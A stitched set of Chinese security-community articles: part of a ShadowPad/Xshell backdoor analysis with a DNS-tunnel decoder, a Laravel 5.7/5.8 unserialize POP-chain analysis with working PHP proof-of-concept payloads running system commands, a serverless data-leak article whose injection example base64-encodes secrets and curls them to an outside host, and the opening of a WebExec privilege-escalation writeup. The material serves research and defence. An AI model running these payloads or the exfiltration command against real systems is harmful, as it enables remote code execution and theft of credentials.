其他插件调用该插件的第二个函数(也就是ThreadRecv函数)时，模块开启线程从CC接收数据，并将解码后的数据写到共享内存。
其他插件调用该插件的第三个函数(也就是RecvDataProc函数)可以取得该模块与CC服务器通信后的数据内容
其他插件调用该插件的第四个函数(也就是SendDataProc 函数)可以使用该模块向CC服务器发送数据内容。
在初始化函数中，创建一个线程，在线程内部通过互斥量等待，当互斥量被触发后，调用该模块的dispatch函数。
从CC接收数据的代码过程
在通信过程中，开启线程接收数据
线程函数将接收到数据存储在结构体的0x60偏移处
接收到的数据首先判断接收到的数据长度是否符合要求，然后使用解码函数(DecodeCCData1)进行解码并判断解码后的内容格式是否符合。此后，使用同样的解码算法(DecodeCCData1)再对数据进行一次解码。
将上面解码后的内容使用另一个解码算法(DecodeCCData2)进行解码，解出来的内容的第一个DWORD为解密KEY，使用解密KEY将接收到的数据进行解密后，判断解密后的内容的第一个WORD为数据包类型id，数据包类型ID包括:0，1，3三种。每种不同的数据包使用不同的结构类型和不同的解密算法。
在对不同的数据类型的处理过程中，都会将解码后的内容写入到结构体偏移+0x5C的地址中，该地址就是数据传输时使用的共享内存地址。
数据包的解密算法代码片段为：
向CC发送数据的代码片段
**代码分析对抗**
样本使用到的技术很多，例如动态加载、花指令、反调试、多层解密、代码注入等，使用的这些技巧大大增加了安全人员分析工作所需要花费的时间，也能有效躲避杀软检测，并使一些分析工具产生异常而无法正常执行恶意代码流程。下面举例说明一下使用到的技巧：
代码中加入了大量的JMP类型花指令，还有一些无效的计算，比如下图中红框中ECX。
在每次获取API地址之后，都会检测API代码第一字节是否等于0xcc，如果等于则结束后续行为，否则继续。
Shellcode通过自身的配置信息，通过一个for循环，循环4次。每次根据EDI定位配置信息，通过下面的结构体来获取要拷贝的数据的大小，将所有需要的数据拷贝到申请的内存中。然后解密数据。
循环拷贝数据
**关联分析及溯源**
8月的域名为 nylalobghyhirgh.com，360威胁情报中心显示此域名为隐私保护状态：
此域名目前在7月23日被注册，8月3日达到解析量的顶峰，360网络研究院的数据显示解析量巨大，达到800万。
所有的请求类型为NS记录，也就是说域名极有可能被用来析出数据而不是用于C&C控制，这与前面的分析结论一致。
而notped.com作为已知的相关恶意域名，我们发现其注册人为Yacboski
Curtis，据此关联点找到了一些其他的关联域名，具体见附件的IOC节，由于这些域名并没有找到对应的连接样本，目前只是怀疑，不能确定就是其他的相关恶意域名。
**参考链接**
<https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html>
<https://securelist.com/shadowpad-in-corporate-networks/81432/>
<https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf>
**附件**
**IOC列表**
**DNS 隧道编解码算法**
Xshell后门代码通过DNS子域名的方式向C&C服务器输出收集到的主机信息，以下是分析得到的编码算法及实现的对应解码程序。
编码算法是先经过下图的算法1加密成二进制的形式如图：
算法1加密后的数据：
然后把结果转换成可见的字符转换方法是通过每个字节的高位减‘j’低位减‘a’，把1个字节拆分成2个字节的可见字符，这样就浪费了一个字节：
解密算法是加密算法的逆运算，解密算法流程入下图：
根据网上的一些公开的流量数据，
解密出的一些上传的数据：
实现的解码代码如下：
int sub_1C3E(int a1, unsigned char* a2, int a3, int a4)
{
char v4; // cl@1
int v5; // esi@1
unsigned char* v6; // edi@2
byte v7[1024]= {0}; // eax@11
char v8; // dl@11
int v10; // [sp+4h] [bp-10h]@1
int v11; // [sp+8h] [bp-Ch]@1
int v12; // [sp+Ch] [bp-8h]@1
int v13; // [sp+10h] [bp-4h]@1
v4 = 0;
v5 = 0;
v10 = a1;
v11 = a1;
v12 = a1;
v13 = a1;
int i = 0;
if ( a3 > 0 )
{
v6 = a2 - a4;
do
{
if ( v5 & 3 )
{
switch ( v5 & 3 )
{
case 1:
v11 = 0xBFD7681A - 0x7DB1F70F * v11;
v4 = (*((byte *)&v11 + 2) ^ (*((byte *)&v11 + 1)
+ (*((byte *)&v11) ^ v4)))
- *((byte *)&v11 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
case 2:
v12 = 0xE03A30FA - 0x3035D0D6 * v12;
v4 = (*((byte *)&v12 + 2) ^ (*((byte *)&v12 + 1)
+ (*((byte *)&v12) ^ v4)))
- *((byte *)&v12 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
case 3:
v13 = 0xB1BF5581 - 0x11C208F * v13;
v4 = (*((byte *)&v13 + 2) ^ (*((byte *)&v13 + 1)
+ (*((byte *)&v13) ^ v4)))
- *((byte *)&v13 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
}
}
else
{
v10 = 0x9F248E8A - 0x2F8FCE7E * v10;
v4 = (*((byte *)&v10 + 2) ^ (*((byte *)&v10 + 1)
+ (*((byte *)&v10 ) ^ v4)))
- *((byte *)&v10 + 3);
//v7 = (byte *)(v5 + a4);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
}
}
while ( v5 < a3 );
printf("Last Step Decode：%s", (char*)v7);
}
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
unsigned char szText[117] = "ajajlyoogrmkdmnndtgphpojmwlvajdkbtephtetcqopnkkthlplovbvardopqfleonrgqntmresctokkxcnfvexhjpnpwepgnjubrbrbsenhxbkmy";
unsigned char szXXX[58] = {0};
for (int i=0; i<57; i++)
{
unsigned char One = szText[2*i] - 'a';
unsigned char Two = szText[2*i+1] -'j';
printf("%d, %drn", One, Two);
unsigned char Total = One+Two*16;
szXXX[i] = Total;
}
printf("First Step Decode：%s", (char*)szXXX);
sub_1C3E(0, szXXX, 56, 0); //算法1
return 0;
}
**ShellCode的处理**
本次后门多次解出ShellCode的过程都是用的同一套模版代码。经过分析发现PE的一些基本信息还是保留了的，ShellCode解码用到的结构整理如下：
struct ShellContext
{
u32 dwShellKey;//用于解密重定位表以及输入表的数据
u32 HeadCheck;//和dwShellKey异或用来校验Key是否合法
u32 SizeOfImage;//Image大小
u32 ModBase;//默认基地址
u32 RelocTable;//重定位表偏移
u32 RelocSize;//重定位表大小
u32 ImportTable;//输入表偏移
u32 ImportSize;//输入表大小
u32 OEP;//OEP地址
u16 Magic;//010b为pe32
u8MajorVer;//链接器版本
u8 MinorVer;//
u32 NumberOfSections;//节表数
u32 timeStamp;//时间戳
SectionDescsecArray[1]; //节表描述数组
};
下面介绍下ShellCode的加载过程，在调用Loader之前先将ShellCode起始地址以及大小入栈。
然后进入Loader部分处理流程：
1）从PEB里找到Kernel模块，从中找到LoadLibrary，GetProcAddress，VirtualAlloc以及Sleep，以备后续过程使用。
2）接着利用ShellCode中的SizeOfImage去分配内存。
3）往分配的内存头部填充垃圾数据，一直填充到代码段开始。
4）根据结构里保存的节表信息，依次填充到分配的内存。
5）如果结构里重定位信息不为空，则使用dwShellKey去解密重定位数据并利用重定位数据去修正内存的数据。处理完之后把重定位数据清零。
解密重定位数据的算法还原如下
6）如果输入表信息不为空，接着使用重定位处理用的dwShellKey去解密输入表对应的字符串信息，如果是ordinal方式的则不做处理。使用解密了的DLL名以及API名获取到API地址后，并不直接填充，而是先把地址做求补操作后，生成一个小的stub再填进去。
最后再把输入表用到的数据清零。
解密输入表的流程还原如下：
7）跳到入口处执行，并设置fdwReason为1。
根据保留的结构可以大致还原出本来模块文件。 | 社区文章 |
# 5.8.x
## 漏洞复现
## 环境配置
写一个DemoController控制器
//DemoController.php
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
然后在routes/web.php下添加路由
Route::get("/demo","\App\Http\Controllers\DemoController@demo");
## 漏洞分析
全局搜索排查`__destruct()`方法，找到`Illuminate\Broadcasting\PendingBroadcast::__destruct()`
public function __destruct()
{
$this->events->dispatch($this->event);
}
因为`events`和`event`的值是可控的
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
所以通过控制`events`参数可以调用任意类的`dispatch()`方法，所以先寻找可以利用的该方法，发现`Illuminate\Bus\Dispatcher::dispatch()`可利用
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
在`dispatchToQueue()`方法里面有`call_user_func()`函数，我们来看一看方法内容
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
要想执行到这个方法那么就需要通过`if`判断，首先有`$this->queueResolver`的值，这个是我们可控的，给它赋值了就行了
public function __construct(Container $container, Closure $queueResolver = null)
{
$this->container = $container;
$this->queueResolver = $queueResolver;
$this->pipeline = new Pipeline($container);
}
第二个判断是`$this->commandShouldBeQueued($command)`，跟进一下`commandShouldBeQueued()`方法
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
该方法中要返回真，只需要让`$command`，也即`PendingBroadcast`类中的`$this->event`是一个继承于`ShouldQueue`接口的类即可。
可以利用`find usage`找一个继承`ShouldQueue`接口的类，例如`BroadcastEvent`类：
至此POP链构造完成，可以实现调用任意方法
总结一下涉及到的类和接口：
1、Illuminate\Broadcasting\PendingBroadcast对应的方法为__destruct()
2、Illuminate\Bus\Dispatcher对应的方法为dispatch()
3、Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口
涉及到的变量：
1、 PendingBroadcast类中的event和events，前者用于继承ShouldQueue接口，后者用于实例化一个Dispatcher对象。
2、Dispatcher类中的queueResolver，用于想要执行的函数名。
3、BroadcastEvent类新创建一个变量connection，用于想要执行函数的参数
POC代码如下
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = "whoami";
}
}
namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}
?>
# 5.7.x
## 漏洞复现
## 漏洞分析
这里首先来认识几个属性
public $test; //一个实例化的类 Illuminate\Auth\GenericUser
protected $app; //一个实例化的类 Illuminate\Foundation\Application
protected $command; //要执行的php函数 system
protected $parameters; //要执行的php函数的参数 array('id')
通过__destruct()方法进入run()方法
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
跟进run()方法
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
我们看到call()方法的两个参数都是用户可控的，首先得经过mockConsoleOutput()方法，跟进一下
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
我们先单步调试，发现可以成功执行`Mockery::mock`那一截代码到foreach循环，这里调用`$this->test`对象的`expectedQuestions`属性且应该为一个数组，但是该类并不存在`expectedOutput`属性，经过分析代码，我们发现这里只要能够返回一个数组代码就可以顺利进行下去
因此我们全文搜索`__get()`方法，让`__get()`方法返回我们想要的数组就可以了，这里我选择`DefaultGenerator.php`类
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
/**
* @param string $attribute
*
* @return mixed
*/
public function __get($attribute)
{
return $this->default;
}
......
}
我们对`DefaultGenerator`类进行实例化并传入数组`array('hello'=>'ghtwf01')`，打断点进行调试可以看到代码顺利执行下去了，这个时候POC如下
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
public function __construct($instances = []){}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("id"));
echo urlencode(serialize($pendingcommand));
}
接下来离开mockConsoleOutput()方法方法回到run()方法执行`$exitCode =
$this->app[Kernel::class]->call($this->command,
$this->parameters);`，如果使用上面的POC单步调试这一步会报错，其中`Kernel::class`为固定值：`"Illuminate\Contracts\Console\Kernel"`，跟进进入`offsetGet()`方法
public function offsetGet($key)
{
return $this->make($key);
}
跟进`make()`方法
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
跟进父类的`make()`方法
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
跟进`resolve()`方法
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
......
根据我们上面的POC调试可以看到`$this->instances`这个数组是空数组，那么`$this->instances[$abstract]`就不存在而导致后面抛出异常。
跟着我们最终的POC看，`return
$this->instances[$abstract];`=`$this->instances["Illuminate\Contracts\Console\Kernel"]`也就是返回了`Illuminate\Foundation\Application`对象，为什么要用这个对象？因为`Illuminate\Foundation\Application`类继承了
`Illuminate\Container\Container`类的`call()`方法
接着调用`call()`方法
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
这里$callback = "system"，$parameters[0] = "id"，调用BoundMethod的call()静态方法
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
跟进isCallableWithAtSign()方法
protected static function isCallableWithAtSign($callback)
{
return is_string($callback) && strpos($callback, '@') !== false;
}
作用只是判断确定给定的字符串是否使用`Class@method`语法
接着跟进`callBoundMethod()`函数，可以发现它的作用只是判断`$callback`是否为数组
protected static function callBoundMethod($container, $callback, $default)
{
if (! is_array($callback)) {
return $default instanceof Closure ? $default() : $default;
}
......
继续跟进下面的匿名函数
function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
}
`call_user_func_array()`里面第一个参数是我们可控的值为`system`，第二个参数是通过`getMethodDependencies()`方法得来的，跟进一下
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
也就是将数组`$dependencies`和数组`$parameters`合并，因为`$dependencies`数组为空，所以最后返回的值也就是`$parameters`，值为`id`，所以最后就执行了`call_user_func_array()`
最终POC如下
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = []){
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"ghtwf01"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,"system",array("id"));
echo urlencode(serialize($pendingcommand));
} | 社区文章 |
# 深入研究攻击Serverless环境下的应用 SLS-3: 数据泄露
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
好消息， **The OWASP Serverless Top
10[预览版](https://owasp.blogspot.com/2018/11/serverless-top-10-added-to-project.html)**已经发布。让我们接着本系列，继续探索Serverless应用领域的安全问题。对于Serverless来说，开发者不能自主部属治安官（安全控制器），攻击者也几乎不知道该如何开展行动。
前面的文章中，我研究了事件注入和权限绕过攻击。[在本系列](https://www.protego.io/category/a-deep-dive-into-serverless-attacks/)的第三篇文章中，我将讨论最令公司们担心的漏洞之一。我们经常能听到重大数据泄露事件，包括最近的[泄露5000万Facebook用户](https://newsroom.fb.com/news/2018/09/security-update/)等。虽然数据泄露一般只是用户的隐私被侵犯，但公司要为此[付出非常高昂的代价](https://databreachcalculator.mybluemix.net/)。在一些情况下，甚至能让公司倒闭。一家Saas（软件服务）公司，Code
Space就是这么一个例子，黑客入侵了它的Amazon Elastic Compute Cloud控制面板，删除所有的EBS快照和实例，S3
储存桶，AMI（镜像）和一些核心实例，最终完全依赖AWS服务的一家公司就这么倒闭了。
你可能会对自己说“我知道这些，但是，对于Serverless架构有什么不同？”。你是个聪明的家伙。
Code Space公司在2014年被攻击，在那时下 **“Serverless”**
这个词还未出现。但是，在那时候云服务器和资源（例如S3）可以说是完整的Serverless服务中的一部分了。如果我们在等式中加几个函数（在数学中，这是没有意义的），重新排列字母（比如AMI—>IAM），增加一些缩略词比如EFS,SQS,SES等（都是AWS知名服务），风险同样会成倍增加。如果数据没有得到很好的保护，会面临很大的泄露风险。
现在你可能会说“所以呢？我们有了更多的资源，但是暴露攻击面是相同的”。你说对了一部分（给你两个方向）。现在我们必须从不同角度去审视全局。
第一，处理数据。保护静态和动态的数据。加密你放在的云储存仓库，备份和数据库的数据。云服务提供商通常会给你一些小工具，你能轻松正确地完成。用它们提供的
**KMS/Key Vault（密钥管理服务）**
安全储存你的数据。同时确保资源配置正确，这样你就可以防止[大规模地数据泄露](https://www.theregister.co.uk/2018/02/15/fedex_aws_s3_leak/)，甚至可以彻底避免泄露。还有，确保你的密钥不会出现在[代码储存库](https://www.theregister.co.uk/2018/02/07/uber_quit_github_for_custom_code_after_2016_data_breach/)（例如Github）和其他容易被攻击者找到的地方。
对于动态数据来说，你应该确保给所有传输 **使用TLS协议** （传输层安全性协议） 。
第二，有趣的是Serverless环境下的数据。我们的云端服务器（例如：EC2）丢失了/etc/passwd或者/etc/shadow文件，我们也不会很担心。你猜怎么着，这类文件不再敏感了。如果攻击者礼貌地问我，我甚至可以送给他们。
我为什么可以这样做？因为这类文件属于云服务器提供商，我们的应用运行在可随时替换的环境。
问题来了，我们到底要保护什么？答案很简单，但是不同的云服务提供商有不同的情况。
## 你的机密文件
你可能没有自己的服务器，你的代码储存在云储存库或者代码存储库（你不用担心他们的安全），并且你可以管理运行这个子仓库。这个子仓库的位置由运行环境和服务商来决定。举个例子：
你在AWS云上的/var/task目录中存放了一些NodeJS代码，然后你又在GCP（谷歌云平台）的目录(./)上存放了一堆Python代码。现在，你可以自己尝试以下，用下面的curl代码运行cat和ls命令，展示在GCP上任何你感兴趣的文件和目录。
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
## 你的密钥文件
这里我们以 **AWS** 为例（不同的服务商有不同的情况），提出两种情况：
第一种情况。你完全忽视安全问题，你的函数，内存配置，日志组名称，版本信息等都都没有做权限控制。最大的问题是，函数的 **tokens** 也是透明的。
这些token的控制着用户对函数的使用权限。所以，如果这个函数有很高的系统权限，可以遍历数据库或者编辑储存桶，那么，一旦这些tokens落到坏人手中，将导致一场灾难。攻击者甚至不用使用你的函数，只需简单的在自己的电脑
**AWS cli** 命令行中使用这些token（下图中aws profile
stolen_keys包含了了那些偷来的tokens，比如AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and
AWS_SESSION_TOKEN）。
因为这些token的存在，无论你喜欢与否，你都要限制所有函数的权限为能正常运行的最小权限。举个例子，如果某个函数需要读取S3储存桶，你应该确保它只能读取它需要的那一些。
第二种情况。你做足了权限控制，所有函数的使用都需要密钥，并且密钥作为环境变量传递。只有需要使用该函数时（如代码唤醒，系统进程唤醒），密钥才会传递。如果密钥包含了敏感信息，你应该考虑加密（Base64）它们。如果你这样做，系统进程需要解析（见图一env）。但是该函数如果受代码注入影响，那么攻击者可以通过以下命令解码直接读取密钥的真实值。
ENCRYPTED = os.environ['third_party_api_key']
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
## 你的数据文件
在Serverless环境容器中，除了 **/tmp**
文件夹，其他的只有只读权限，你可以在那里写入文件。当函数完成运行后的一段时间，Serverless环境和所有文件通常会被系统自动清除。对于AWS来说，当函数运行完成后4分内没有再次唤醒，首先只会删除该函数的环境。但是在这段时间内被再次唤醒，该函数的运行环境还是原先的环境。不能保证一定是这样的，但是可以确定类似的事件一定会在特定时间段内完成。因为考虑到性能的原因，云服务商提供商必须那么做。
如果你的函数存在漏洞并且它所在的环境有敏感文件，那么它们存在被盗或者被毁坏的风险。为了深入理解，你可以用先前的两个curl命令自己操作一下。你可以自己可以写入数据(base64编码)到/tmp/b64文件夹。
当运行”ls”命令时，你可以看到/out/b64文件大小为252字节。然而，当运行完“cat”，再次使用”ls”，你会发现它的大小标为1496字节。这意味着这时”ls”命令显示的是”cat”命令的调用的输出结果。这时你再次运行”ls”，大小又变回252字节。
那么，我们该担心些什么？只要功能函数存在任何代码执行漏洞，或者进程注入漏洞和api滥用(eg.eval)，攻击者都可以利用上面的方法泄露或者更改环境中的敏感数据。举个例子，这里存在一个json类型的代码注入漏洞的功能函数，攻击者可以轻松利用：
--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}
**$secret** 可以是“cat main.py”用来获取代码文件，或者是“env”该环境的盗取token和密钥，还可以是“cat
/tmp/leftover.file”盗取未受保护的/tmp文件夹中遗留的敏感文件。
有趣的是还可以base64编码然后发送到攻击者自己的服务器中（例子中是serverless.fail）。现在只要解码它，第二天，新闻头条将会出现你的“英雄事迹”。
## 如何保护
那么我们该如何防止那些发生？我总结了以下几点：
1. 尽量压缩存储的数据
2. 保护静态，动态的数据。使用云服务商提供的加密管理服务来储存数据，机密文件，环境变量（比如 [AWS Environment variable encryption](https://docs.aws.amazon.com/zh_cn/lambda/latest/dg/env_variables.html#env_encrypt), [Handling Azure secrets](https://david-obrien.net/2016/09/azure-functions-secrets/), [Storing secrets in GCP](https://david-obrien.net/2016/09/azure-functions-secrets/)）
3. 避免在代码储存库或者其他地方泄露密钥（例如github上）
4. 严格限制函数的权限以减少攻击面
5. 执行代码审查和静态分析以减少代码存在漏洞
6. 监控依赖关系，避免已知的漏洞出现在你的代码中
7. 使用完/tmp上的文件后，删除它们
## 攻击演示视频
如果你想观看演示视频，[这里有](https://youtu.be/u678vYgnZEk) | 社区文章 |
# WebExec漏洞原理与分析浅谈
|
##### 译文声明
本文是翻译文章，文章来源：skullsecurity.org
原文地址：<https://blog.skullsecurity.org/2018/technical-rundown-of-webexec>
译文仅供参考，具体内容表达以及含义原文为准。
本文是WebExec漏洞发现和工作原理的技术writeup。
研究人员在渗透测试过程中发现WebEx的`WebexUpdateService`存在漏洞——`WebExec`，攻击者利用该漏洞可以允许任何人登陆用户远程执行`SYSTEM`级代码。不同于一般远程代码执行漏洞的是，没有监听任何端口的客户端应用也可能存在远程代码执行漏洞。可以通过WebEx客户端的一个组件在WebEx没有监听远程连接的情况下远程执行代码。
## 简介
研究人员是在最近的一次渗透测试过程中发现的该漏洞，最初的测试目标是提升本地标准用户账户的权限，但发现了该远程代码执行漏洞，研究人员将其命名为WebExec。
WebEx的最新客户端版本是2018年8月的Version 3211.0.1801.2200,
最后修改日期2018年7月19日，SHA1值为`bf8df54e2f49d06b52388332938f5a875c43a5a7`。研究人员已经测试了许多新的和旧的版本，但都存在漏洞。
## 权限提升
研究人员发现文件夹`c:ProgramDataWebExWebExApplications`的权限很奇怪，任何人都可以进行读写，文件夹中安装了一个名为webexservice的服务，任何人都可以开始和停止该服务。
一个常见的测试方式是用`.exe`替换另一个白名单中的应用`msbuild.exe`，因为它读取相同目录中的
`.vbproj`文件的任意C#代码。因为这是一个服务，在工作目录`c:windowssystem32`下运行，所以研究人员不能向该文件夹写入。
## WebExService.exe
研究人员使用IDA来分析`WebExService.exe`。IDA中有两个简单的方法可以找出进程做了什么，分别是strings窗口和imports窗口。对webexservice.exe来说，大多数的字符串都与Windows服务相关。
.rdata:00405438 ; wchar_t aSCreateprocess
.rdata:00405438 aSCreateprocess: ; DATA XREF: sub_4025A0+1E8o
.rdata:00405438 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0
研究人员在advapi32.dll中发现引入了CreateProcessAsUserW，下面看一下具体是怎么被调用的：
.text:0040254E push [ebp+lpProcessInformation] ; lpProcessInformation
.text:00402554 push [ebp+lpStartupInfo] ; lpStartupInfo
.text:0040255A push 0 ; lpCurrentDirectory
.text:0040255C push 0 ; lpEnvironment
.text:0040255E push 0 ; dwCreationFlags
.text:00402560 push 0 ; bInheritHandles
.text:00402562 push 0 ; lpThreadAttributes
.text:00402564 push 0 ; lpProcessAttributes
.text:00402566 push [ebp+lpCommandLine] ; lpCommandLine
.text:0040256C push 0 ; lpApplicationName
.text:0040256E push [ebp+phNewToken] ; hToken
.text:00402574 call ds:CreateProcessAsUserW
末尾的W表示函数的UNICODE（wide）版本。在开发Windows代码时，开发者在代码中会使用`CreateProcessAsUser`，编译器会将其扩展为`CreateProcessAsUserA
（ASCII）`和`CreateProcessAsUserW（UNICODE）`。函数中两个最重要的参数是`hToken`和`lpCommandLine`。hToken是创建进程的用户，lpCommandLine是真实运行的命令。
### hToken
hToken中的代码非常简单。查看调用`CreateProcessAsUserW`，就可以看到其动作执行的整个过程。
函数的顶部是：
.text:0040241E call ds:CreateToolhelp32Snapshot
这是在win32中搜索特定进程的一种普通方法，会创建运行进程的快照并用`Process32FirstW`和`Process32NextW`进行检查。研究人员曾经在用相同的技术写过一个注入工具将传统dll加载到其他进程中。
基于研究人员对API的了解，可以推测其在搜索特定进程。如果继续往下看，就可以找到调用了`_wcsicmp`，这个函数是`stricmp`所对应的`Unicode`系列的函数。
.text:00402480 lea eax, [ebp+Str1]
.text:00402486 push offset Str2 ; "winlogon.exe"
.text:0040248B push eax ; Str1
.text:0040248C call ds:_wcsicmp
.text:00402492 add esp, 8
.text:00402495 test eax, eax
.text:00402497 jnz short loc_4024BE
然后将每个进程名与`winlogon.exe`进行比对，也就是在获取到`winlogon.exe`进程的句柄。继续函数就可以看到分别顺序调用了`OpenProcess，OpenProcessToken和DuplicateTokenEx`。这是另一个常见的API调用序列，也就是进程如何获取另一个进程token的句柄。之后，复制的token会被传递给`CreateProcessAsUserW`作为`hToken`。
总结一下就是，该函数获取了`winlogon.exe`的handle，复制了其token，以相同用户`SYSTEM`创建了一个新的进程。现在需要做的就是找出进程是什么。一种简单的方法就是看API调用的顺序。
### lpCommandLine
lpCommandLine的分析有一些复杂。研究人员使用了逆向、调试、故障检测、事件日志等方式来准确找出lpCommandLine的来源。
研究人员在分析过程中发现有大量的调试字符串和事件日志调用。因此，研究人员觉得可以尝试`Windows event viewer
(eventvwr.msc)`和`sc`进程开启`webexservice`：
C:Usersron>sc start webexservice
SERVICE_NAME: webexservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
[...]
下面是 WebExService.exe的日志：
ExecuteServiceCommand::Not enough command line arguments to execute a service command.
在IDA中搜索(alt+T)：
.text:004027DC cmp edi, 3
.text:004027DF jge short loc_4027FD
.text:004027E1 push offset aExecuteservice ; "ExecuteServiceCommand"
.text:004027E6 push offset aSNotEnoughComm ; "%s::Not enough command line arguments t"...
.text:004027EB push 2 ; wType
.text:004027ED call sub_401770
逆向的结果是：将`edit`与`3`比较，如果大于等于就跳转，否则打印需要更多参数。很容易就可以试出来需要2个以上的参数。
C:Usersron>sc start webexservice a b
[...]
然后检查Event Viewer：
ExecuteServiceCommand::Service command not recognized: b.
出现错误。继续在IDA中搜索(alt+T)：
